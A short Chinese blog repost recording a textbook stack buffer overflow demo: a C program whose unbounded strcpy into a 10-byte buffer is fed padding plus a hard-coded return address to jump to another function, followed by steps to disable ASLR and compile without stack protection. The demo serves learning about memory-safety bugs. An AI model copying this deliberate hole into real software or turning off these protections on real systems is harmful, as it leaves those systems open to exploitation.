首页 > 其他 > 详细

Buffer Over Flow Vulnerability

时间:2015-06-03 11:35:47      阅读:181      评论:0      收藏:0      [点我收藏+]

记录一个简单的栈溢出的实例,具体的分析以后加进去。

程序源代码buffer.c:

#include <stdio.h>
#include <string.h>
void fun1(char *input)
{
char buffer[10];
strcpy(buffer,input);
printf("Call fun1,buffer=%s\n",buffer);
}
void fun2()
{
printf("Call fun2");
}
int main(int argc, char *argv[])
{
printf("Address Of fun2=%p\n",fun2);
fun1("0000000000000000000000\x79\x84\x04\x08");
return 0;
}

Linux编译命令:

1 首先关闭Linux系统的ASLR(地址随机化保护机制)

        sudo sysctl -w kernel.randomize_va_space=0

2 使用gcc关闭栈保护机制进行编译

        gcc -fno-stack-protector -o buffer buffer.c

3 生成汇编码查看

        gcc -fno-stack-protector -S buffer.c

4 运行查看

        ./buffer

Buffer Over Flow Vulnerability

原文:http://www.cnblogs.com/moonseazj/p/4548400.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!